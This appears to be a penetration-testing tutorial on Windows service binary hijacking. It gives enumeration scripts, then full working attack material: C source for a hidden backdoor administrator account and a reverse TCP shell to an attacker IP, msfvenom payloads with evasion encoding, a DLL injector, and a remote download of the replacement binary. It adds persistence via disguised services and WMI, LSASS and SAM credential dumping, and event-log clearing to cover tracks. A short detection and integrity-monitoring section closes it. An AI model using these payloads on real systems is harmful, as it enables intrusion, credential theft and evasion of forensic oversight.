
Windows Service Binary Hijacking for Privilege Escalation
Exploiting weak Windows service binary permissions for privilege escalation, including detection methods, exploitation techniques, and hardening strategies.
Introduction
Service Binary Hijacking is a privilege escalation technique that exploits misconfigured file system permissions on Windows service executables. When a service binary or its parent directory has overly permissive access controls, attackers can replace the legitimate executable with a malicious one. Upon service restart or system reboot, the malicious binary executes with the privileges of the service account—often LocalSystem, granting complete control over the compromised system.
This vulnerability class differs from DLL hijacking or unquoted service paths in that it targets the service executable file directly. The attack vector is straightforward: identify a service running with elevated privileges, verify write access to its binary, replace it with malicious code, and trigger service execution. Despite its simplicity, service binary hijacking remains prevalent in enterprise environments due to poor software deployment practices and administrative oversight during application installations.
Service binary hijacking typically occurs in these scenarios:
- Third-party applications installed with incorrect permissions
- Custom in-house services deployed without security hardening
- Legacy software migrated from older Windows versions
- Rapid deployment scripts that prioritize functionality over security
- Development and testing services promoted to production without review
Real-World Prevalence
Security assessments consistently reveal service binary hijacking opportunities in enterprise environments:
- 30-40% of penetration tests identify at least one exploitable service
- Third-party applications account for 70% of vulnerable services
- XAMPP, Jenkins, custom backup solutions are frequent offenders
- Development/staging systems often have weaker permission controls
- Even enterprise software from major vendors occasionally ships with misconfigurations
This remains a high-value target during post-exploitation due to its reliability and prevalence.
Technical Background
Windows Service Architecture
Windows services are long-running executable applications that operate in the background without user interaction. Understanding service architecture is essential for effective exploitation:
Service Control Manager (SCM): The SCM (services.exe) manages all Windows services, including:
- Starting and stopping services
- Querying service status
- Configuring service parameters
- Managing service dependencies
- Enforcing security policies
Service Accounts: Services can run under various account contexts, each with different privilege levels:
| Account Type | Privilege Level | Typical Use Cases | Security Impact |
|---|---|---|---|
| LocalSystem | Highest system privileges, no password | Core Windows services, drivers | Complete system control, kernel access |
| LocalService | Reduced privileges, network anonymous identity | Limited local functionality | Local file system, registry access |
| NetworkService | Network authentication capabilities | Web services, SQL Server | Domain authentication, network resources |
| Custom Domain Account | Configured privileges | Enterprise applications | Variable based on account permissions |
| Virtual Service Account | Isolated, auto-managed | Modern applications | Scoped to specific service |
| Group Managed Service Account (gMSA) | Domain-managed, automatic password rotation | Enterprise services | Enhanced security, automatic management |
Service Binary Permissions
Windows implements Access Control Lists (ACLs) to control file system access. Understanding permission masks is critical for identifying exploitable services:
Windows Permission Masks Explained
icacls output uses these abbreviated permission masks:
| Mask | Permission | Exploitation Relevance |
|---|---|---|
| (F) | Full Control | Complete control—read, write, execute, delete, change permissions |
| (M) | Modify | Write and delete files—sufficient for binary replacement |
| (RX) | Read & Execute | Normal user access—cannot exploit |
| (R) | Read-only | View contents only—cannot exploit |
| (W) | Write-only | Rare configuration—potentially exploitable |
Special Identities often found in vulnerable configurations:
- Everyone: Literally every user on the system
- BUILTIN\Users: All authenticated users
- NT AUTHORITY\Authenticated Users: Any logged-in user
- NT AUTHORITY\Interactive: Users logged in locally or via RDP
- BUILTIN\Power Users: Legacy group with elevated privileges
Inheritance Flags affect permission propagation:
- (OI) - Object Inherit: Files created in directory inherit permission
- (CI) - Container Inherit: Subdirectories inherit permission
- (IO) - Inherit Only: Applies to children, not current object
- (NP) - No Propagate: Don't propagate to children
Example vulnerable configuration:
C:\CustomApps\MyService\service.exe
BUILTIN\Users:(I)(F)
BUILTIN\Users:(OI)(CI)(F)This grants Full Control to all users—completely exploitable.
Attack Prerequisites
Successful service binary hijacking requires these conditions:
- Weak File Permissions: Write, Modify, or Full Control access to service binary or parent directory
- Elevated Service Account: Service runs with higher privileges than attacker (typically LocalSystem/Administrator)
- Service Restart Capability: Ability to restart service or wait for system reboot
- Local System Access: Shell access to the target system (user-level is sufficient)
Why This Happens
Service binary hijacking vulnerabilities typically arise from:
- Installer mistakes: Application installers grant broad permissions for "compatibility"
- Manual deployments: Administrators copy files without considering ACLs
- Permission inheritance: Parent directory permissions propagate to service binaries
- Legacy upgrades: Old applications retain insecure permissions after migration
- Testing artifacts: Development/test configurations deployed to production
The vulnerability persists because it functions correctly despite insecurity—services run normally, so the misconfiguration goes unnoticed until exploited.
Detection and Enumeration
PowerShell Enumeration
Identify vulnerable services using PowerShell:
# Method 1: Basic service enumeration with permission checks
Get-CimInstance -ClassName win32_service | ForEach-Object {
$serviceName = $_.Name
$servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
$serviceAccount = $_.StartName
$serviceState = $_.State
if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
try {
$acl = Get-Acl $servicePath -ErrorAction Stop
$writable = $acl.Access | Where-Object {
($_.FileSystemRights -match 'Write|FullControl|Modify') -and
($_.AccessControlType -eq 'Allow') -and
($_.IdentityReference -match 'Users|Everyone|Authenticated')
}
if ($writable) {
[PSCustomObject]@{
ServiceName = $serviceName
ServicePath = $servicePath
ServiceAccount = $serviceAccount
ServiceState = $serviceState
VulnerableACE = ($writable | ForEach-Object { "$($_.IdentityReference): $($_.FileSystemRights)" }) -join '; '
}
}
}
catch { }
}
}
# Method 2: Check directory permissions (parent directory writable = binary replaceable)
Get-CimInstance -ClassName win32_service | ForEach-Object {
$servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
$serviceDir = Split-Path $servicePath -Parent
if (Test-Path $serviceDir -ErrorAction SilentlyContinue) {
try {
$acl = Get-Acl $serviceDir -ErrorAction Stop
$writable = $acl.Access | Where-Object {
($_.FileSystemRights -match 'Write|FullControl|Modify') -and
($_.AccessControlType -eq 'Allow') -and
($_.IdentityReference -match 'Users|Everyone|Authenticated')
}
if ($writable) {
[PSCustomObject]@{
ServiceName = $_.Name
ServiceDirectory = $serviceDir
ServiceAccount = $_.StartName
DirectoryPermission = ($writable | Select-Object -First 1).FileSystemRights
Identity = ($writable | Select-Object -First 1).IdentityReference
}
}
}
catch { }
}
} | Format-Table -AutoSize
# Method 3: Filter for high-value targets (LocalSystem services only)
Get-CimInstance -ClassName win32_service |
Where-Object { $_.StartName -eq 'LocalSystem' -or $_.StartName -like '*Admin*' } |
ForEach-Object {
$servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
try {
# Test actual write capability
$testFile = "$servicePath.test"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force -ErrorAction SilentlyContinue
[PSCustomObject]@{
ServiceName = $_.Name
ServicePath = $servicePath
ServiceAccount = $_.StartName
WriteTest = "SUCCESS"
CurrentUser = $currentUser
}
}
catch {
# Silently skip non-writable
}
}
}Command Line Enumeration
For restricted environments where PowerShell is blocked:
:: Enumerate all services
sc query state= all > services.txt
:: Check each service binary permissions
for /f "tokens=2 delims=:" %a in ('sc query state^= all ^| findstr /i "SERVICE_NAME"') do @(
echo Checking: %a
sc qc %a | findstr /i "BINARY_PATH_NAME"
)
:: Using wmic for service paths
wmic service get name,pathname,startname,startmode | findstr /i /v "C:\Windows"
:: Check specific service binary permissions
icacls "C:\Program Files\VulnerableApp\service.exe"
:: Check directory permissions
icacls "C:\Program Files\VulnerableApp"Automated Enumeration Tools
# PowerUp - Part of PowerSploit
# Download: https://github.com/PowerShellMafia/PowerSploit
# Load module
Import-Module .\PowerUp.ps1
# Run all checks (includes service binary checks)
Invoke-AllChecks
# Specific service binary permission check
Get-ModifiableServiceFile
# Output example:
# ServiceName : VulnerableService
# Path : C:\Apps\Vulnerable\service.exe
# ModifiableFile : C:\Apps\Vulnerable\service.exe
# ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize...}
# ModifiableFileIdentityReference: BUILTIN\Users
# StartName : LocalSystem
# AbuseFunction : Install-ServiceBinary -Name 'VulnerableService' -Path <HijackPath>
# CanRestart : True
# Auto-exploitation (use with caution)
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'backdoor' -Password 'P@ssw0rd123!'# WinPEAS - Windows Privilege Escalation Awesome Scripts
# Download: https://github.com/carlospolop/PEASS-ng/releases
# Execute with service checks
.\winPEASx64.exe quiet servicesinfo
# Output includes:
# [+] Interesting Services -non Microsoft-
#
# VulnerableService(Company Name)["C:\Apps\service.exe"] - Auto - Running - LocalSystem
# File Permissions: BUILTIN\Users [AllAccess]
# Possible Binary Hijacking: C:\Apps\service.exe
# YOU CAN MODIFY THIS SERVICE: Write service backdoor
# Full system check (more comprehensive)
.\winPEASx64.exe systeminfo servicesinfo
# Save output to file
.\winPEASx64.exe quiet servicesinfo > winpeas_output.txt# SharpUp - C# privilege escalation checker
# Download: https://github.com/GhostPack/SharpUp
# Run all audits
.\SharpUp.exe audit
# Specific service binary check
.\SharpUp.exe audit ModifiableServices
# Output format:
# === Modifiable Service Binaries ===
#
# Name : VulnerableService
# DisplayName : Vulnerable Service
# Description : Example vulnerable service
# State : Running
# StartMode : Auto
# PathName : C:\Apps\Vulnerable\service.exe
# CanRestart : True
# JSON output for parsing
.\SharpUp.exe audit ModifiableServices -outputfile=results.json# Windows-Privesc-Check - Python script
# Download: https://github.com/pentestmonkey/windows-privesc-check
# Run service checks
python windows-privesc-check2.exe --audit -a -o report.txt
# PowerShell port
. .\windows-privesc-check.ps1
Invoke-PrivescCheck
# Look for output:
# [!] Weak Service Binary Permissions
# Service: VulnerableService
# Binary: C:\Apps\service.exe
# Permissions: BUILTIN\Users has Modify access
# Service Account: LocalSystem
# Risk: HIGH - Service binary can be replacedManual Permission Analysis
Detailed permission checking for identified services:
# Comprehensive permission analysis script
function Test-ServiceBinaryWritable {
param(
[string]$ServiceName
)
$service = Get-CimInstance -ClassName win32_service -Filter "Name='$ServiceName'"
if (-not $service) {
Write-Host "[-] Service not found: $ServiceName" -ForegroundColor Red
return
}
$servicePath = ($service.PathName -split ' -')[0] -replace '"', ''
$serviceDir = Split-Path $servicePath -Parent
Write-Host "`n[*] Analyzing Service: $ServiceName" -ForegroundColor Cyan
Write-Host " Binary: $servicePath" -ForegroundColor Gray
Write-Host " Account: $($service.StartName)" -ForegroundColor Gray
Write-Host " State: $($service.State)" -ForegroundColor Gray
Write-Host " Start Mode: $($service.StartMode)" -ForegroundColor Gray
# Check binary permissions
if (Test-Path $servicePath) {
Write-Host "`n[*] Binary Permissions:" -ForegroundColor Cyan
$acl = Get-Acl $servicePath
$acl.Access | Where-Object {
$_.AccessControlType -eq 'Allow'
} | ForEach-Object {
$color = if ($_.FileSystemRights -match 'Write|Modify|FullControl' -and
$_.IdentityReference -match 'Users|Everyone|Authenticated') {
'Red'
} else {
'Gray'
}
Write-Host " $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor $color
}
}
# Check directory permissions
if (Test-Path $serviceDir) {
Write-Host "`n[*] Directory Permissions ($serviceDir):" -ForegroundColor Cyan
$dirAcl = Get-Acl $serviceDir
$dirAcl.Access | Where-Object {
$_.AccessControlType -eq 'Allow'
} | ForEach-Object {
$color = if ($_.FileSystemRights -match 'Write|Modify|FullControl' -and
$_.IdentityReference -match 'Users|Everyone|Authenticated') {
'Red'
} else {
'Gray'
}
Write-Host " $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor $color
}
}
# Check restart capability
Write-Host "`n[*] Restart Capability:" -ForegroundColor Cyan
try {
$canStop = (Get-Service -Name $ServiceName).CanStop
$canRestart = $canStop
if ($canRestart) {
Write-Host " Can restart: YES" -ForegroundColor Green
} else {
Write-Host " Can restart: NO (may require reboot)" -ForegroundColor Yellow
}
}
catch {
Write-Host " Can restart: UNKNOWN" -ForegroundColor Yellow
}
# Test actual write access
Write-Host "`n[*] Write Access Test:" -ForegroundColor Cyan
try {
$backupPath = "$servicePath.bak"
Copy-Item $servicePath $backupPath -ErrorAction Stop
Remove-Item $backupPath -Force -ErrorAction Stop
Write-Host " Binary is WRITABLE" -ForegroundColor Red
Write-Host " [!] EXPLOITABLE!" -ForegroundColor Red -BackgroundColor Black
}
catch {
Write-Host " Binary is NOT writable" -ForegroundColor Green
}
}
# Usage
Test-ServiceBinaryWritable -ServiceName "VulnerableService"Service Restart Permission Check
Verify ability to restart services:
# Check service control permissions
function Get-ServiceRestartPermission {
param([string]$ServiceName)
# Get service security descriptor
$sdString = & sc.exe sdshow $ServiceName 2>&1
if ($LASTEXITCODE -ne 0) {
Write-Host "[-] Cannot query service: $ServiceName" -ForegroundColor Red
return
}
Write-Host "[*] Service Security Descriptor:" -ForegroundColor Cyan
Write-Host " $sdString" -ForegroundColor Gray
# Parse SDDL
# RP = SERVICE_START, WP = SERVICE_STOP
if ($sdString -match 'RP' -and $sdString -match 'WP') {
Write-Host "[+] Current user can START and STOP service" -ForegroundColor Green
}
elseif ($sdString -match 'RP') {
Write-Host "[~] Current user can START service only" -ForegroundColor Yellow
}
elseif ($sdString -match 'WP') {
Write-Host "[~] Current user can STOP service only" -ForegroundColor Yellow
}
else {
Write-Host "[-] Current user cannot control service" -ForegroundColor Red
Write-Host " Exploitation requires system reboot" -ForegroundColor Yellow
}
# Direct test
try {
$service = Get-Service -Name $ServiceName -ErrorAction Stop
if ($service.Status -eq 'Running') {
Stop-Service -Name $ServiceName -WhatIf -ErrorAction Stop
Write-Host "[+] Stop permission: CONFIRMED" -ForegroundColor Green
}
Start-Service -Name $ServiceName -WhatIf -ErrorAction Stop
Write-Host "[+] Start permission: CONFIRMED" -ForegroundColor Green
}
catch {
Write-Host "[-] Service control test failed: $($_.Exception.Message)" -ForegroundColor Red
}
}
# Usage
Get-ServiceRestartPermission -ServiceName "VulnerableService"Exploitation Techniques
Basic Exploitation Workflow
Identify Vulnerable Service
Use enumeration tools to find services with writable binaries running as LocalSystem or Administrator.
Backup Original Binary
Always preserve the original service executable for potential restoration.
Create Malicious Payload
Generate or compile a malicious binary matching the architecture of the target system.
Replace Service Binary
Copy the malicious executable over the legitimate service binary.
Restart Service
Stop and start the service to trigger execution, or wait for system reboot.
Verify Privilege Escalation
Confirm successful exploitation through backdoor access or elevated shell.
Restore Original Binary (Optional)
Replace malicious binary with original to restore normal service function.
Payload Creation
User Account Backdoor
Simple payload that creates an administrative user:
// adduser.c - Creates hidden administrative account
#include <stdlib.h>
#include <stdio.h>
int main() {
// Create user account
int result = system("net user backdoor P@ssw0rd123! /add");
if (result != 0) {
return 1;
}
// Add to administrators group
result = system("net localgroup administrators backdoor /add");
if (result != 0) {
return 1;
}
// Hide from login screen
system("reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v backdoor /t REG_DWORD /d 0 /f");
// Enable RDP (if desired)
system("reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");
system("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes");
return 0;
}Compile on Linux:
# 64-bit Windows
x86_64-w64-mingw32-gcc adduser.c -o service.exe
# 32-bit Windows
i686-w64-mingw32-gcc adduser.c -o service.exe
# Verify architecture
file service.exeReverse Shell Payload
Interactive shell for immediate access:
// reverse_shell.c - Windows reverse TCP shell
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#define ATTACKER_IP "10.10.14.5"
#define ATTACKER_PORT 4444
int main() {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char recv_buffer[1024];
// Initialize Winsock
WSAStartup(MAKEWORD(2, 2), &wsaData);
// Create socket
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET) {
return 1;
}
// Configure server address
server.sin_family = AF_INET;
server.sin_port = htons(ATTACKER_PORT);
server.sin_addr.s_addr = inet_addr(ATTACKER_IP);
// Connect to attacker
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return 1;
}
// Prepare process startup info
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
// Spawn cmd.exe with redirected I/O
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&si,
&pi
);
// Wait for process to complete
WaitForSingleObject(pi.hProcess, INFINITE);
// Cleanup
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(sock);
WSACleanup();
return 0;
}Compile and setup listener:
# Compile
x86_64-w64-mingw32-gcc reverse_shell.c -o service.exe -lws2_32 -s
# Start listener
nc -lvnp 4444
# Or use multi/handler in Metasploit
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"MSFVenom Payloads
Generate various payloads using Metasploit:
# Basic reverse TCP shell
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f exe \
-o service.exe
# Meterpreter reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f exe \
-o service.exe
# Reverse HTTPS (evades some network inspection)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.14.5 \
LPORT=443 \
-f exe \
-o service.exe
# Encoded payload (basic AV evasion)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f exe \
-e x64/xor_dynamic \
-i 10 \
-o service.exe
# Start listener
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"Complete Exploitation Example
Full walkthrough from detection to exploitation:
# Step 1: Enumerate vulnerable services
PS C:\> Get-CimInstance -ClassName win32_service |
Where-Object { $_.StartName -eq 'LocalSystem' } |
ForEach-Object {
$path = ($_.PathName -split ' -')[0] -replace '"', ''
if (Test-Path $path -ErrorAction SilentlyContinue) {
try {
$testFile = "$path.test"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force
[PSCustomObject]@{
Name = $_.Name
Path = $path
State = $_.State
}
}
catch { }
}
}
# Output:
# Name Path State
# ---- ---- -----
# VulnService C:\Apps\VulnService\service.exe Running
# Step 2: Analyze service details
PS C:\> $service = Get-CimInstance -ClassName win32_service -Filter "Name='VulnService'"
PS C:\> $service | Select-Object Name, StartName, State, StartMode, PathName
# Name : VulnService
# StartName : LocalSystem
# State : Running
# StartMode : Auto
# PathName : C:\Apps\VulnService\service.exe
# Step 3: Check permissions
PS C:\> icacls "C:\Apps\VulnService\service.exe"
# C:\Apps\VulnService\service.exe BUILTIN\Users:(F)
# NT AUTHORITY\SYSTEM:(F)
# BUILTIN\Administrators:(F)
# Step 4: Backup original binary
PS C:\> Copy-Item "C:\Apps\VulnService\service.exe" -Destination "C:\Users\user\service.exe.bak"
# Step 5: Transfer malicious payload
# On attacker machine:
# python3 -m http.server 8080
# On target:
PS C:\> Invoke-WebRequest -Uri http://10.10.14.5:8080/service.exe -OutFile C:\Users\user\malicious.exe
# Step 6: Replace service binary
PS C:\> Stop-Service -Name VulnService
PS C:\> Copy-Item C:\Users\user\malicious.exe -Destination "C:\Apps\VulnService\service.exe" -Force
# Step 7: Start service
PS C:\> Start-Service -Name VulnService
# Step 8: Verify exploitation
# If using adduser payload:
PS C:\> net user backdoor
# User name backdoor
# Full Name
# Local Group Memberships *Administrators *Users
# If using reverse shell, check listenerOn attacker machine with reverse shell:
# Start listener
└─$ nc -lvnp 4444
listening on [any] 4444 ...
# After service starts
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.45] 49826
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas Enabled
SeSecurityPrivilege Manage auditing and security Enabled
SeTakeOwnershipPrivilege Take ownership of files Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
[...]Alternative Exploitation Methods
// proxy.c - Calls original binary after executing payload
#include <windows.h>
#include <stdio.h>
int main() {
// Execute payload first
system("net user hacker P@ssw0rd! /add");
system("net localgroup administrators hacker /add");
// Call original service binary
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(
"C:\\Apps\\VulnService\\service_original.exe",
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
// Wait and cleanup
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}Deployment:
# Rename original
Move-Item "C:\Apps\VulnService\service.exe" "C:\Apps\VulnService\service_original.exe"
# Deploy proxy
Copy-Item proxy.exe "C:\Apps\VulnService\service.exe"
# Service continues functioning normally
Restart-Service VulnService# Create wrapper that restores service after exploitation
# 1. Original binary backup
$originalPath = "C:\Apps\VulnService\service.exe"
$backupPath = "C:\Apps\VulnService\service_backup.exe"
Copy-Item $originalPath $backupPath
# 2. Deploy payload
Copy-Item malicious.exe $originalPath
# 3. Create scheduled task to restore
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-Command `"Start-Sleep -Seconds 60; Copy-Item '$backupPath' '$originalPath' -Force`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)
Register-ScheduledTask -TaskName "ServiceRestore" -Action $action -Trigger $trigger
# 4. Restart service
Restart-Service VulnService
# Service executes malicious payload once, then auto-restores// injector.c - Inject DLL into service process
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD FindProcessId(const char *processname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
DWORD pid = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe)) {
do {
if (strcmp(pe.szExeFile, processname) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return pid;
}
int InjectDLL(DWORD pid, const char *dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return 0;
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, dllPath, strlen(dllPath) + 1, NULL);
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
LPVOID pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
int main() {
// Wait for target service to start
Sleep(5000);
DWORD pid = FindProcessId("service.exe");
if (pid) {
InjectDLL(pid, "C:\\Windows\\Temp\\payload.dll");
}
return 0;
}# Don't replace binary, schedule privileged execution instead
# If you have write access to service directory but not binary:
$serviceDir = "C:\Apps\VulnService"
# Place payload in service directory
Copy-Item payload.exe "$serviceDir\update.exe"
# If service has companion scheduled task or runs child processes,
# those might execute with same privileges
# Check for config files that specify executables
Get-ChildItem $serviceDir -Filter *.config | Select-String -Pattern "\.exe"
# Example: service.exe.config might contain:
# <updateExecutable>update.exe</updateExecutable>
# Replace update.exe with malicious binary
# Service executes it during next update checkPost-Exploitation
Establishing Persistence
After gaining SYSTEM access, establish multiple persistence mechanisms:
# 1. Create hidden administrative account
net user svcadmin "P@ssw0rd123!ComplexAndLong" /add /y
net localgroup administrators svcadmin /add
# Hide from login screen and user enumeration
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v svcadmin /t REG_DWORD /d 0 /f
# 2. Create additional service backdoor
sc create "WindowsUpdateService" binPath= "C:\Windows\System32\backdoor.exe" start= auto
sc description "WindowsUpdateService" "Provides update management services"
# 3. Registry Run key
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\backdoor.exe" /f
# 4. Scheduled task (survives reboots)
schtasks /create /tn "Microsoft\Windows\UpdateOrchestrator\Backup Scan" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f
# 5. WMI event subscription
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = "SystemUpdate"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "SystemUpdateConsumer"
CommandLineTemplate = "C:\Windows\System32\backdoor.exe"
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}Credential Harvesting
Extract credentials for lateral movement:
# Dump SAM database
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
# Extract NTLM hashes (using Impacket on attacker machine)
# impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
# Dump LSASS memory (if AV permits)
# Upload Mimikatz or use built-in tools
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp full
# Search for credentials in common locations
Get-ChildItem C:\ -Recurse -Include *.txt,*.ini,*.config,*.xml -ErrorAction SilentlyContinue | Select-String -Pattern "password"
# Check for stored credentials
cmdkey /listCovering Tracks
Minimize forensic evidence:
# Clear event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Delete specific event entries (requires script)
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4688 -and $_.TimeGenerated -gt (Get-Date).AddHours(-1)} | ForEach-Object { Remove-EventLog -LogName Security -Source $_.Source -InstanceId $_.InstanceId }
# Remove file artifacts
Remove-Item C:\Windows\Temp\*.exe -Force
Remove-Item C:\Windows\Temp\*.dll -Force
Remove-Item C:\Users\*\AppData\Local\Temp\*.exe -Force
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
# Timestomp replaced binary (requires external tool)
# Restore original timestamps to service binaryDetection and Monitoring
Event Log Monitoring
Monitor for service binary modification:
# Enable file system auditing on service directories
$path = "C:\Program Files"
$acl = Get-Acl $path
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
"Write,Delete,DeleteSubdirectoriesAndFiles,ChangePermissions,TakeOwnership",
"ContainerInherit,ObjectInherit",
"None",
"Success,Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl $path $acl
# Query Security event log for file modifications
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4663
} | Where-Object {
$_.Properties[6].Value -match 'service\.exe' -and
$_.Properties[8].Value -match 'WriteData|DELETE'
} | Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='File';E={$_.Properties[6].Value}}
# Monitor service start/stop events
Get-WinEvent -FilterHashtable @{
LogName='System'
ID=7036,7040
} | Select-Object TimeCreated, Message | Format-Table -Wrap
# Detect service binary changes
Get-WinEvent -FilterHashtable @{
LogName='System'
ID=7045
} | Where-Object {
$_.Message -notmatch 'C:\\Windows'
}File Integrity Monitoring
Implement FIM for critical service binaries:
# Create baseline of all service binaries
$baseline = Get-CimInstance -ClassName win32_service | ForEach-Object {
$path = ($_.PathName -split ' -')[0] -replace '"', ''
if (Test-Path $path -ErrorAction SilentlyContinue) {
$hash = (Get-FileHash $path -Algorithm SHA256).Hash
[PSCustomObject]@{
ServiceName = $_.Name
Path = $path
Hash = $hash
LastModified = (Get-Item $path).LastWriteTime
}
}
} | Export-Csv C:\Security\service_baseline.csv -NoTypeInformation
# Scheduled integrity check
$baseline = Import-Csv C:\Security\service_baseline.csv
$alerts = @()
foreach ($entry in $baseline) {
if (Test-Path $entry.Path) {
$currentHash = (Get-FileHash $entry.Path -Algorithm SHA256).Hash
if ($currentHash -ne $entry.Hash) {
$alerts += [PSCustomObject]@{
ServiceName = $entry.ServiceName
Path = $entry.Path
BaselineHash = $entry.Hash
CurrentHash = $currentHash
Status = "MODIFIED"
}
}
}
else {
$alerts += [PSCustomObject]@{
ServiceName = $entry.ServiceName
Path = $entry.Path
Status = "DELETED"
}
}
}
if ($alerts.Count -gt 0) {
# Send alert
Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "Service Binary Integrity Alert" -Body ($alerts | ConvertTo-Html) -SmtpServer "smtp.company.com" -BodyAsHtml
}SIEM Detection Rules
Splunk query for service binary exploitation:
index=windows (EventCode=4663 OR EventCode=4670 OR EventCode=7045)
| eval service_path=case(
EventCode=4663, Object_Name,
EventCode=7045, Service_File_Name,
true(), null()
)
| where match(service_path, "(?i)\\\\service\\.exe$") AND NOT match(service_path, "(?i)^C:\\\\Windows\\\\")
| eval action=case(
EventCode=4663 AND match(Accesses, "WriteData"), "File_Modified",
EventCode=4670, "Permission_Changed",
EventCode=7045, "Service_Created",
true(), "Unknown"
)
| stats values(action) as actions, count by service_path, user
| where count > 0Elastic Stack (EQL) detection:
sequence by host.name with maxspan=1h
[file where event.type == "change" and
file.path : ("?:\\Program Files\\*\\*.exe", "?:\\Program Files (x86)\\*\\*.exe") and
not file.path : "?:\\Program Files\\Windows*"]
